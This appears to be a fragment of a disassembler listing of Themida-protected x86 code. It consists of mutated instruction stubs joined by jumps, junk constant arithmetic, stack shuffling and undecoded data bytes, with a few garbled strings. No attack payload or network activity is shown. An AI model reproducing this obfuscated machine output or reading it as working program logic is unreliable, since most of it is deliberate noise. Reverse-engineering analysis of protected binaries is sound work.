; ---------------------------------------------------------------------------


loc_59E9C4:				; CODE XREF: Themida_:005A0FFBj
		sub	esi, 34756D19h
		mov	ebp, [esp]
		add	esp, 4
		add	esi, 2
		xor	esi, [esp]
		jmp	loc_5AB464
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 3B56B850h, 5AB90D86h, 290D863Bh, 24048BC1h, 81E38953h
		dd 4C3h, 4C38100h, 87000000h, 248B241Ch, 24448124h, 47D7504h
		dd 244C0100h, 246C8104h, 47D7504h, 2434FF00h, 0E3895359h
		dd 4C381h, 0C3830000h, 241C8704h, 0B740E9h
		db 0
; ---------------------------------------------------------------------------


loc_59EA35:				; CODE XREF: Themida_:0059F8A6j
		push	ebp
		mov	ebp, esp
		jmp	loc_5A8DAF
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0E958C101h, 477Ah
; ---------------------------------------------------------------------------


loc_59EA48:				; CODE XREF: Themida_:005A07AFj
		pop	esi
		push	4AD0h
		mov	[esp], ebx
		mov	ebx, 4D3400C6h
		xchg	ebp, ebx
		not	ebp
		jmp	loc_596F93
; ---------------------------------------------------------------------------
		db 80h
		dd 0F58001EDh, 0EA88520Ah, 88D18851h, 595A59CFh, 0FFB452E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59EA75:				; CODE XREF: Themida_:005998A4j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_5A23A8
; ---------------------------------------------------------------------------
		dw 0E689h
		dd 4C681h, 98E90000h, 8100006Ah, 4C4h, 0E7E95100h, 0FE00007Ch
		dd 0E99C240Ch, 0FFFF73E4h
; ---------------------------------------------------------------------------


loc_59EAA8:				; CODE XREF: Themida_:005A3006j
		sub	eax, 0DC0AAEA6h
		xor	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		xor	ecx, ebx
		jmp	loc_59EE8D
; ---------------------------------------------------------------------------
		db 89h
		dd 4812424h, 424h, 2434FF00h, 0FF9E3FE9h, 740158FFh, 44810424h
		dd 5C4F0424h, 348B6CEEh, 0A20CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59EAE6:				; CODE XREF: Themida_:005A857Fj
		xor	ebx, 0C14F8E59h
		add	edi, ebx
		pop	ebx
		mov	ecx, [esp]
		add	esp, 4
		and	eax, edi
		push	dword ptr [esp]
		jmp	loc_59FF0E
; ---------------------------------------------------------------------------
		db 59h
		dd 45AF388h, 2CD82842h,	1C8B6642h, 2C48324h, 0B89CE9h
		db 0
; ---------------------------------------------------------------------------


loc_59EB15:				; CODE XREF: Themida_:005A23A3j
		xor	ebp, 105B1EB8h
		inc	ebp
		push	eax
		jmp	loc_5A8C3B
; ---------------------------------------------------------------------------


loc_59EB22:				; CODE XREF: Themida_:0059BE5Dj
		mov	[esp], ebx
		mov	ebx, 31B50108h
		dec	ebx
		sub	ebx, 0D02E846Ch
		sub	eax, 17926AB1h
		jmp	loc_5A839F
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0F28007EAh, 0F6F28095h, 8B66D030h, 60682414h, 0E900005Ah
		dd 0FFFFA04Fh, 7E95250h, 9000017h, 241C8BDAh, 4C481h, 0F2810000h
		dd 2FF67D73h, 4BA7E9h, 5AF38800h, 0E3CB8058h, 240CFE53h
		dd 90F3805Bh, 0D8286A04h, 20CCE9h, 68C38100h, 0E95B1F4Bh
		dd 0FFFFA914h, 2EBCF681h, 0EEC13B28h, 0B91DE906h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59EBA2:				; CODE XREF: Themida_:005A5D74j
		sub	ebx, 32234674h
		add	ebx, edi
		push	esi
		jmp	loc_5A7816
; ---------------------------------------------------------------------------
		dd 0C181E189h, 4, 4E981h, 0C870000h, 2C895C24h,	7FE95424h
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59EBCB:				; CODE XREF: Themida_:005977C7j
		pop	esi
		add	eax, 0DBB5A087h
		mov	edi, eax
		jmp	loc_5A1E2C
; ---------------------------------------------------------------------------
		dd 0C581DD29h, 0D5F20F2h, 0EBF5815Bh, 0E97C5D37h, 2BA4h
; ---------------------------------------------------------------------------


loc_59EBEC:				; CODE XREF: Themida_:00596846j
		mov	[esp], ebp
		push	eax
		push	35356CF5h
		pop	eax
		neg	eax
		dec	eax
		add	eax, 35356CF7h
		jmp	loc_5A5DB5
; ---------------------------------------------------------------------------


loc_59EC03:				; CODE XREF: Themida_:005A3A2Dj
		xchg	esi, [esp]
		jmp	loc_5A9D8E
; ---------------------------------------------------------------------------
aSius_		db 'S‰ãé.´',0
		dw 0FF00h
		dd 0E95D2434h, 1EABh
; ---------------------------------------------------------------------------


loc_59EC1C:				; CODE XREF: Themida_:005A2DDBj
		push	5D5B0E26h
		pop	ecx
		inc	ecx
		xor	ecx, 20DD0F03h
		mov	esi, ecx
		jmp	loc_5A8AF2
; ---------------------------------------------------------------------------
		dd 81E68956h, 4C6h, 4C68100h, 87000000h, 248B2434h, 0BC22E924h
		dd 0DC880000h, 0C1F4805Bh, 0E958E688h, 1AD1h, 3CE368h
		dd 24148900h, 42106856h, 348B3279h, 0A927E924h,	34FFFFFFh
		dd 0C05EE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59EC76:				; CODE XREF: Themida_:00598F01j
		xor	dword ptr [esp], 6271511Eh
		mov	eax, [esp]
		add	esp, 4
		push	edx
		jmp	loc_59C2BA
; ---------------------------------------------------------------------------
		dd 8B243487h, 9662424h,	0E99C2404h, 0FFFF71F0h,	22BBBA52h
		dd 0A6E905EFh, 0FF000049h, 575D2434h, 0C781E789h, 4, 4C781h
		dd 9E90000h, 81FFFFD8h,	4C4h, 4625E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59ECCA:				; CODE XREF: Themida_:0059DADBj
		add	esp, 4
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		push	edi
		jmp	loc_5965E8
; ---------------------------------------------------------------------------
		dd 0C00FE280h, 0EC8308EAh, 240C8904h, 0E9801EB1h, 59CA20B1h
		dd 8DE9C2FEh, 66000028h, 55CCB60Fh, 648068h, 4EC8100h
		dd 0E9000000h, 2CEFh, 1EDFEE81h, 0FE0166CEh, 6B4FBD55h
		dd 0E5C14C3Ah, 1FC58106h, 158334Bh, 815F5DEEh, 51A96DC6h
		dd 9ED8E922h, 0F701FFFFh, 44ABC781h, 0E95E256Eh, 1740h
; ---------------------------------------------------------------------------


loc_59ED40:				; CODE XREF: Themida_:005A2716j
		push	ebp
		mov	ebp, 600C394Fh
		xor	ebp, 16B33AD4h
		xor	ecx, ebp
		pop	ebp
		xor	edx, ecx
		pop	ecx
		add	ecx, edx
		jmp	loc_59E86C
; ---------------------------------------------------------------------------
		db 9, 5Fh, 1Ch
		dd 5B2434FFh, 52B468h, 9E6AE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59ED6A:				; CODE XREF: Themida_:005AA3ACj
		push	dx
		push	ebx
		mov	bl, 0CBh
		jmp	loc_5A397C
; ---------------------------------------------------------------------------
		dd 1B723EBFh, 0BABE569Dh, 106657Dh, 0EF815EF7h,	3E17175Ch
		dd 0C781F729h, 3E17175Ch, 8904EC83h, 0B7BA2414h, 0C1694729h
		dd 0E2C103E2h, 0A9E95508h, 81000030h, 4C7h, 0F3E95100h
		dd 66000093h, 66258268h, 53241489h, 0BCE1E9h
		db 0
; ---------------------------------------------------------------------------


loc_59EDC1:				; CODE XREF: Themida_:0059F6A0j
		add	edx, ebp
		pop	ebp
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		jmp	loc_595E8C
; ---------------------------------------------------------------------------


loc_59EDD5:				; CODE XREF: Themida_:005A78ECj
		mov	eax, 4B576E2h
		sub	ebx, 79C7CB2h
		sub	ebx, eax
		add	ebx, 79C7CB2h
		jmp	loc_5AB007
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 2Ch
		dd 29D6BD24h, 89534855h, 4C381E3h, 83000000h, 1C8704EBh
		dd 0C207E924h, 15BFFFFh, 76D705E8h, 0E95D19DDh,	0FFFFCEE7h
; ---------------------------------------------------------------------------


loc_59EE18:				; CODE XREF: Themida_:0059B79Bj
		push	esi
		mov	esi, 1CCA1055h
		inc	esi
		sub	esi, 4AB17F93h
		dec	esi
		add	esi, 2DE76F42h
		push	esi
		pop	ebx
		pop	esi
		add	edx, ebx
		pop	ebx
		xchg	edx, [esp]
		mov	esp, [esp]


loc_59EE38:				; CODE XREF: Themida_:005A38EFj
		push	538Dh
		mov	[esp], edi
		push	4739h
		mov	[esp], ebx
		xor	dword ptr [esp], 37525DB5h
		pop	edi
		push	esi
		push	ecx
		mov	ecx, 6E650AE8h
		mov	esi, 0A0F36063h
		jmp	loc_59FB35
; ---------------------------------------------------------------------------
		db 68h,	46h, 60h
		dd 55E95DF5h, 0BF000095h, 4, 6E87E9h, 240C3100h, 5C240C33h
		dd 24048966h, 0FF7007E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59EE85:				; CODE XREF: Themida_:005AB504j
		mov	[esp], ecx
		jmp	loc_5AB152
; ---------------------------------------------------------------------------


loc_59EE8D:				; CODE XREF: Themida_:0059EABAj
		pop	ebx
		and	eax, ecx
		jmp	loc_5A8BA7
; ---------------------------------------------------------------------------


loc_59EE95:				; CODE XREF: Themida_:005A7CA8j
		add	edi, ebx
		jmp	loc_598A60
; ---------------------------------------------------------------------------


loc_59EE9C:				; CODE XREF: Themida_:005A65E4j
		add	ebx, edx
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_59DA6C
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 18137902h, 5058C629h, 3D4DE9h, 0C8B6600h, 4EC8124h
		dd 89000000h, 0EC81242Ch, 4, 1557E9h, 241C3100h, 5C241C33h
		dd 24040166h, 6FA2E99Ch, 2C89FFFFh, 1CD76824h, 4890000h
		dd 2B824h, 0E9500000h, 0FFFF76D6h, 0EAE9DCF6h, 81FFFFDAh
		dd 4C1h, 4C18100h, 51000000h, 42474FFh,	83240C8Bh, 45E904C4h
		dd 29FFFF83h, 0C10158C1h, 9A6C181h, 0B850752Dh,	78C05CCDh
		dd 0FF58C101h, 48B2434h, 4C48324h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		xchg	ecx, [esp]
		pop	esp
		mul	ecx
		push	7CF8h
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_5A7496
; ---------------------------------------------------------------------------


loc_59EF68:				; CODE XREF: Themida_:005AA0D7j
		mov	ecx, 0D219D698h
		add	ecx, 520E5431h
		add	ecx, edx
		jmp	loc_599975
; ---------------------------------------------------------------------------
		dw 15Fh
		dd 24348BF0h, 8904EC83h, 9E68241Ch, 8900001Ah, 0D5E92424h
		db 7, 2	dup(0)
; ---------------------------------------------------------------------------


loc_59EF93:				; CODE XREF: Themida_:005A6A0Bj
		mov	esi, 10565787h
		jmp	loc_5A58C0
; ---------------------------------------------------------------------------


loc_59EF9D:				; CODE XREF: Themida_:005A6F2Cj
		pop	eax
		push	eax
		mov	eax, esp
		add	eax, 4
		push	esi
		mov	esi, 4CC76DBAh
		jmp	loc_5A8CBC
; ---------------------------------------------------------------------------
		db 5Eh,	1, 0D8h
		dd 0FEBE565Bh, 81582D18h, 494D53E6h, 0D6F74E78h, 66D9E681h
		dd 0E6C11BC8h, 0D3E68105h, 81018F19h, 0C10FEEEh, 0E9F00100h
		dd 4185h, 2434875Bh, 2414895Ch,	2434FF54h, 0E789575Ah
		dd 86EEE9h
		db 0
; ---------------------------------------------------------------------------


loc_59EFF5:				; CODE XREF: Themida_:005A31ABj
		sub	edi, 48C954DAh
		add	edi, esi
		add	edi, 48C954DAh
		mov	esi, [esp]
		add	esp, 4
		xchg	edi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		push	ebp
		jmp	loc_5A62ED
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
aI4Su_		db '‰4$éã.',0
		align 4
		dd 6624248Bh, 2404BB0Fh, 77BAE99Ch, 835E0000h, 148904ECh
		dd 81E28924h, 4C2h, 2A58E900h, 0B9510000h, 6D5F3EE7h, 8103E1C1h
		dd 833AA9C1h, 62E9816Ah, 3181C7F1h, 71E959CAh, 680000ADh
		dd 1728h, 89242C89h, 4C581E5h, 51000000h, 0A65A13B9h, 0E8A9E91Fh
		dd 1C8BFFFFh, 7ECE924h,	34FF0000h, 240C8B24h, 51E78957h
		dd 941F65B9h, 255CE950h, 0E9580000h, 0C469h, 0D5F65866h
		dd 0C580C5FEh, 59EA30E5h, 525AD030h, 0EA8052B2h, 88506645h
		dd 0D08850E8h, 0A8FCE9h, 8B545100h, 5453240Ch, 0FFD6CDE9h
		dd 9CEB80FFh, 81E78957h, 4C7h, 4EF8100h, 87000000h, 0E95C243Ch
		dd 0FFFFF762h
; ---------------------------------------------------------------------------


loc_59F0E8:				; CODE XREF: Themida_:005A9917j
		mov	[esp], ebx
		mov	ebx, 52A24A11h
		add	edi, ebx
		jmp	loc_59E7CF
; ---------------------------------------------------------------------------
		db 89h
		dd 0E388241Ch, 1C8BDD88h, 4C48324h, 5859EB88h, 13C768h
		dd 24148900h, 0C0AAB151h, 0C18002E1h, 0E9CA884Ch, 0FFFFD2CFh
; ---------------------------------------------------------------------------


loc_59F120:				; CODE XREF: Themida_:0059D746j
		push	ecx
		mov	ecx, esp
		push	edi
		push	eax
		mov	eax, 281265FAh
		push	ebx
		mov	ebx, 53CF1A5Ah
		sub	ebx, 0D6ACE55Eh
		and	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		xor	eax, 27B94A10h
		sub	eax, 125B363Eh
		shr	eax, 4
		and	eax, 39A01373h
		add	eax, 15777502h
		mov	edi, eax
		pop	eax
		shr	edi, 5
		push	esi
		mov	esi, 0FF084444h
		add	edi, 27853C07h
		add	edi, esi
		jmp	loc_5A4AD4
; ---------------------------------------------------------------------------


loc_59F171:				; CODE XREF: Themida_:0059A854j
		sub	esi, ecx
		pop	ecx
		push	eax
		jmp	loc_5A669B
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 895F3701h, 0FE9F389h, 0AD000096h, 73D4C681h,	0EE8131EAh
		dd 11E9607Fh, 68E8E9h
		db 0
; ---------------------------------------------------------------------------


loc_59F199:				; CODE XREF: Themida_:005A1ABBj
		and	edx, eax
		jmp	loc_5A9AAD
; ---------------------------------------------------------------------------
		dd 0A164E953h, 5AFFFFh,	0B1AAE9E2h, 34FFFFFFh, 2434FF24h
		dd 81242C8Bh, 4C4h, 58545000h, 405h, 4C08300h, 5C240487h
		dd 4C481h, 5A680000h, 8900007Ah, 0EBBB241Ch, 5140D013h
		dd 9B0F45B9h, 59CB0119h, 0BE56DBF7h, 662D5B77h,	79DFB951h
		dd 0E9814356h, 27AF0898h, 6328C981h, 814967C0h,	24AAFC1h
		dd 8BCE014Ah, 0C483240Ch, 0D219E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59F216:				; CODE XREF: Themida_:005A7FA8j
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_59E044
; ---------------------------------------------------------------------------
		dd 4BB53h, 5C010000h, 0E95B0424h, 7C36h
; ---------------------------------------------------------------------------


loc_59F240:				; CODE XREF: Themida_:00599BF1j
		neg	bl
		push	small 27A8h
		mov	[esp], cx
		jmp	loc_5AA438
; ---------------------------------------------------------------------------
		db 80h
		dd 5066F5EBh, 0C308CAB0h, 87EAE9h
		db 0
; ---------------------------------------------------------------------------


loc_59F25D:				; CODE XREF: Themida_:0059BA40j
		not	esi
		xchg	esi, ebp
		jmp	loc_59A417
; ---------------------------------------------------------------------------
		dw 481h
		dd 424h, 0EC835F00h, 24048904h,	498668h, 241C8900h, 0FFC0BBE9h
		dd 4C181FFh, 83000000h,	0C8704C1h, 89515C24h, 4C181E1h
		dd 53000000h, 0FF7C2CE9h, 88C188FFh, 0E9CA88D0h, 0FFFF8DF8h
		dd 2444815Fh, 0D96F7904h, 241C8B24h, 4C481h, 2C810000h
		dd 0B209AC24h, 0EC19E974h, 0DE89FFFFh, 3E6AE9h
		db 0
; ---------------------------------------------------------------------------


loc_59F2CD:				; CODE XREF: Themida_:005A3E7Ej
		pop	esi
		rep movsd
		jmp	loc_5A9363
; ---------------------------------------------------------------------------
		db 59h,	0E9h, 15h
		dd 81000015h, 4C4h, 0A8EA8100h,	165FE05h, 0A8C281DAh, 8B65FE05h
		dd 0C483241Ch, 4BB5304h, 29000000h, 14875BDAh, 422DE924h
		dd 81AC0000h, 4ECh, 6C71E900h, 0BD550000h, 754C3587h, 0AACE0FBFh
		dd 21EF81DCh, 102757Eh,	0B7E7E9EFh, 0D7F60000h,	208CC780h
		dd 20E95BFEh, 8B000067h, 89562414h, 7F46E9E6h, 0EA810000h
		dd 46AB4C20h, 0C281CA29h, 46AB4C20h, 81240C8Bh,	4C4h, 77DE6800h
		dd 0EFE90000h, 6800006Ah, 62EDh, 68241C89h, 24E6415Dh
		dd 81241C8Bh, 4C4h, 5BD88900h, 6F440268h, 4E95D3Fh, 0B600008Dh
		dd 0CD2FE9BBh, 0C168FFFFh, 8900006Ah, 0EC83240Ch, 0C0BFE904h
		dd 0EE81FFFFh, 1DB497Ah, 60E9DE29h, 68000082h, 4E6Ch, 55240489h
		dd 3F0B951h, 0E9536AA3h, 4834h,	52241C89h, 8A76E9h, 2434FF00h
		dd 4C48158h, 81000000h,	4ECh, 24048900h, 7F0720B8h, 0BD41E950h
		dd 8DB60000h, 2319E9h, 6A9AE900h, 3C89FFFFh, 2434FF24h
		dd 5A2434FFh, 55E68956h, 0C81587BDh, 97D8E91Eh,	0CE010000h
		dd 0FFC295E9h, 0B96852FFh, 8900007Dh, 0B252240Ch, 55E28035h
		dd 88B5F280h, 8266E9D5h, 0AEBB0000h, 0F7468F06h, 0A746E9D3h
		dd 0CA29FFFFh, 8EAC159h, 6CBFCA81h, 0E28114DEh,	0FF51E1Ah
		dd 1575E942h, 34FF0000h, 8C31E924h, 2489FFFFh, 0EB39E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59F45E:				; CODE XREF: Themida_:0059D4E5j
		mov	esi, 0A9F5D09h
		jmp	loc_5A1158
; ---------------------------------------------------------------------------


loc_59F468:				; CODE XREF: Themida_:005A0DBBj
		push	ecx
		sub	esp, 4
		jmp	loc_5A89C3
; ---------------------------------------------------------------------------
		dd 0E9D60159h, 1D63h, 405585Fh,	2D000000h, 4, 5C240487h
		dd 0FFBB65E9h, 4EA83FFh, 5C241487h, 0B8240489h,	4, 22D9E981h
		dd 0C101009Ch, 0FFC886E9h, 0F2315FFFh, 6824348Bh, 851h
		dd 68240C89h, 42C5h, 81242489h,	42404h,	81590000h, 4C1h
		dd 4C18300h, 5C240C87h,	34FFD601h, 24148B24h, 4C481h, 0C4810000h
		dd 4, 0FF8EA4E9h, 6CE952FFh, 830000ADh,	0FF5204C2h, 0E9042474h
		dd 0FFFFC74Dh, 0FB048904h, 0FFB484E9h, 240C87FFh, 2424895Ch
		dd 0FF9FB1E9h, 5D001FFh, 68A37AB6h, 8124148Bh, 4C4h, 523C6800h
		dd 2C890000h, 4EC8324h,	0FF70BCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59F539:				; CODE XREF: Themida_:005A67E7j
		mov	[esp], eax
		jmp	loc_5A729F
; ---------------------------------------------------------------------------


loc_59F541:				; CODE XREF: Themida_:0059D153j
		push	edx
		mov	edx, 1EDA3F09h
		mov	edi, 1EDA3F49h
		jmp	loc_59C1DD
; ---------------------------------------------------------------------------
		db 59h,	87h, 34h
		dd 24248B24h, 0B60FC330h, 8734FFC0h, 55242C81h,	0FF1B1F3Ah
		dd 48B2434h, 4C48324h, 1AA568h,	240C8900h, 472CE9h
		db 0
; ---------------------------------------------------------------------------


loc_59F57D:				; CODE XREF: Themida_:0059AA1Dj
		pop	ebp
		jmp	loc_59649C
; ---------------------------------------------------------------------------


loc_59F583:				; CODE XREF: Themida_:005980F3j
		xchg	edi, [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	ebx
		mov	ebx, esp
		push	edi
		mov	edi, 4
		add	ebx, edi
		pop	edi
		sub	ebx, 4
		push	ebx
		jmp	loc_59E490
; ---------------------------------------------------------------------------
		db 1, 0FAh, 81h
		dd 8E6C1AEAh, 0FF525F26h, 5A042474h, 5C24048Fh,	9C2424D3h
		dd 0FF68CBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59F5C1:				; CODE XREF: Themida_:005A902Cj
		add	ebp, 4
		jmp	loc_5A3C7B
; ---------------------------------------------------------------------------
		dd 5B2434FFh, 0FFB5F2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59F5D5:				; CODE XREF: Themida_:005A89A8j
		sub	edx, 5501470Ch
		add	edx, eax
		add	edx, 5501470Ch
		pop	eax
		jmp	loc_5A97FC
; ---------------------------------------------------------------------------
		db 5Ah,	1, 0DFh
		dd 2679B951h, 16E97A82h, 0BE000008h, 5826135Bh,	0EF2CF681h
		dd 0C7814F5Fh, 1EA24457h, 0FFA0E6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59F60D:				; CODE XREF: Themida_:005A761Dj
		sub	esp, 4
		jmp	loc_597E44
; ---------------------------------------------------------------------------


loc_59F615:				; CODE XREF: Themida_:0059765Ej
		mov	ecx, eax
		push	dword ptr [esp]
		pop	eax
		push	edx
		push	esp
		jmp	loc_59C9B7
; ---------------------------------------------------------------------------


loc_59F622:				; CODE XREF: Themida_:00599F25j
		mov	edx, [esp]
		add	esp, 4
		inc	eax
		jmp	loc_5A7B48
; ---------------------------------------------------------------------------
		db 5Bh,	81h, 0C3h
		dd 4, 4BF57h, 0DDE90000h, 810000A5h, 4C7h, 4EF8300h, 5C243C87h
		dd 81243C89h, 4ECh, 24348900h, 0A1DDE9h, 52E68900h, 39EC68h
		dd 240C8900h, 0F91DB8B9h, 0F0D8E937h, 0C31FFFFh, 240C3324h
		dd 3C68555Ch, 0E900006Fh, 58D0h
; ---------------------------------------------------------------------------


loc_59F688:				; CODE XREF: Themida_:005A8CB7j
		sub	esp, 4
		mov	[esp], ebp
		push	edi
		push	esp
		pop	edi
		push	eax
		push	edi
		jmp	loc_5AA0E3
; ---------------------------------------------------------------------------


loc_59F698:				; CODE XREF: Themida_:0059E97Cj
		mov	edx, esp
		push	ebp
		mov	ebp, 4
		jmp	loc_59EDC1
; ---------------------------------------------------------------------------


loc_59F6A5:				; CODE XREF: Themida_:0059CAD2j
		pop	eax
		jmp	loc_59D03A
; ---------------------------------------------------------------------------


loc_59F6AB:				; CODE XREF: Themida_:005A701Dj
		xchg	esi, [esp]
		pop	esp
		shl	ebp, 2
		sub	esp, 4
		mov	[esp], edx
		push	ebp
		mov	ebp, 7B367C5Eh
		xor	ebp, 189E0760h
		mov	edx, ebp
		push	dword ptr [esp]
		jmp	loc_5A1A6C
; ---------------------------------------------------------------------------
		dw 2D5Dh
		dd 76D261EEh, 0EE05F801h, 0E976D261h, 2018h, 33240431h
		dd 55C2404h, 5283667Eh,	6ED6BD55h, 66E943F5h
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------


loc_59F6F7:				; CODE XREF: Themida_:00596DB5j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 0DA03D6h
		sub	eax, 0DA03D2h
		add	edx, eax
		pop	eax
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	2DEDh
		mov	[esp], esi
		mov	esi, ecx
		mov	eax, esi
		pop	esi
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		shl	eax, cl
		jmp	loc_59B818
; ---------------------------------------------------------------------------
		dw 0E955h
		dd 19DBh, 683068h, 243C8900h, 42474FFh,	0B02EE95Fh, 0C1810000h
		dd 2, 0E9240C33h, 8C2Eh
; ---------------------------------------------------------------------------


loc_59F758:				; CODE XREF: Themida_:0059FAE4j
		xor	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_59C416
; ---------------------------------------------------------------------------
		dd 4240481h, 0FF000000h, 0E95B2434h, 0BAEDh, 0E9505540h
		dd 0FFFF6B91h, 0E38953ACh, 7E6DBF57h, 814766D8h, 0D87E6AEFh
		dd 86DBE966h, 0C4830000h, 18EB6804h, 2C890000h,	8E25E924h
		dd 89500000h, 405E0h, 0C0830000h, 24048704h, 0A5C6815Ch
		dd 875CAA35h, 87D5F7EEh, 0C68146EEh, 77D94FA3h,	272FF681h
		dd 0EAE95A20h, 59000074h, 0FFF533E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59F7D9:				; CODE XREF: Themida_:005AB4BFj
		sub	[esp+4], edi
		push	esi
		jmp	loc_5A0E72
; ---------------------------------------------------------------------------
		db 81h
		dd 282331F5h, 4E5C158h,	77DFC581h, 0E94D47D5h, 9BCAh, 5C241C87h
		dd 0FF7BFAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59F801:				; CODE XREF: Themida_:005A60E3j
		not	dword ptr [esp]
		pop	ebx
		sub	ebx, 0FAD9B35h
		mov	edx, ebx
		jmp	loc_5A3CCF
; ---------------------------------------------------------------------------
		dw 0D309h
		dd 0BA52435Ah, 0C104C80Bh, 555AD301h, 4769CBBDh, 28022D58h
		dd 0E801296Eh, 0FF8D7AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59F831:				; CODE XREF: Themida_:005A824Fj
		pop	edx
		push	ebp
		mov	ebp, 4306155Ah
		push	6A90h
		jmp	loc_59BA33
; ---------------------------------------------------------------------------
aUsb		db 'Ué',9,0
		align 4
		dd 0E9241489h, 6120h, 226A68h, 242C8900h, 543DE953h, 2C8B0000h
		dd 568FE924h, 0E9540000h, 0FFFFFDC5h
; ---------------------------------------------------------------------------


loc_59F86C:				; CODE XREF: Themida_:0059BD2Ej
		pop	ebp
		jmp	loc_5A4D39
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 243C3304h, 33243C31h, 248B243Ch, 0C8B6624h, 193DE924h
		dd 0D6310000h, 6EEC15Ah, 7747EE81h, 0F301E7F4h,	8324348Bh
		dd 31E904C4h
		db 53h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59F8A3:				; CODE XREF: Themida_:0059C42Aj
		pop	ecx
		not	esi
		jmp	loc_59EA35
; ---------------------------------------------------------------------------
		db 89h
		dd 0D5E92404h, 80FFFFACh, 0ADE9E7CDh, 29FFFFA0h, 76EB81FBh
		dd 8B73CF23h, 5451243Ch, 4C18159h, 0E9000000h, 0FFFFA4DCh
		dd 878CE9ADh, 0E6C1FFFFh, 0B354E902h, 8B5CFFFFh, 0C4832404h
		dd 160A6804h, 26E90000h, 5A000032h, 452D68h, 240C8900h
		dd 2B9h, 4B62D00h, 0C801573Ah, 3A04B605h, 240C8B57h, 8704C483h
		dd 665C2404h, 9C242CD3h, 8449E9h, 48F5D00h, 4895C24h, 4B824h
		dd 0C7010000h, 29E95558h, 100001Dh, 0C18158C1h,	4, 5C240C87h
		dd 931FE9h, 4EC8300h, 0BF243C89h, 4, 4247C01h, 0FFFB1FE9h
		dd 1BA52FFh, 81760C5Eh,	7C568FC2h, 0C078E90Ch, 3489FFFFh
		dd 2D20BE24h, 0BA525D78h, 39C93048h, 0FFFF09E9h, 74212DFFh
		dd 315A65B7h, 0E9008FC3h, 0FFFF64FCh
; ---------------------------------------------------------------------------


loc_59F990:				; CODE XREF: Themida_:0059FB3Aj
		add	esp, 4
		dec	esi
		add	esi, 27F9F26Bh
		xor	edi, esi
		pop	esi
		jmp	loc_59A733
; ---------------------------------------------------------------------------


loc_59F9A2:				; CODE XREF: Themida_:0059B5E3j
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	439Fh
		mov	[esp], eax
		mov	eax, 4
		add	ecx, eax
		pop	eax
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_5A3D96
; ---------------------------------------------------------------------------
		dd 0B9240C89h, 70A44347h, 38E8E950h, 0F4BA0000h, 81207743h
		dd 2C3B3DF2h, 0FDE28163h, 815C3829h, 0A664AEEAh, 7AF2812Eh
		dd 89193E82h, 0DE895AD3h, 35ADE9h
		db 0
; ---------------------------------------------------------------------------


loc_59FA15:				; CODE XREF: Themida_:005A8867j
		mov	eax, ebx
		pop	ebx
		sub	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 4F351223h
		add	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5A7A68
; ---------------------------------------------------------------------------


loc_59FA39:				; CODE XREF: Themida_:0059D035j
		push	edi
		mov	edi, 7B5F1B1Eh
		or	edi, 5C4D0B0Ah
		jmp	loc_598FE1
; ---------------------------------------------------------------------------
		dw 0D8F7h
aSH		db 'Áè',8,'hÑ,',0
		align 4
aIMz		db '‰,$½¬z´',0
		dd 815DE831h, 4C4BECC7h, 21B95124h, 0F73D2807h,	0B7C181D9h
		dd 0E994B982h, 0FFFFD07Bh, 2BD55h, 0BB530000h, 70A14B87h
		dd 0E381DBF7h, 1F010D85h, 0B895EB81h, 0DA290017h, 0E9EA015Bh
		dd 0B588h, 5CE4C781h, 0FD894918h, 9437E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59FAAA:				; CODE XREF: Themida_:005A79E9j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
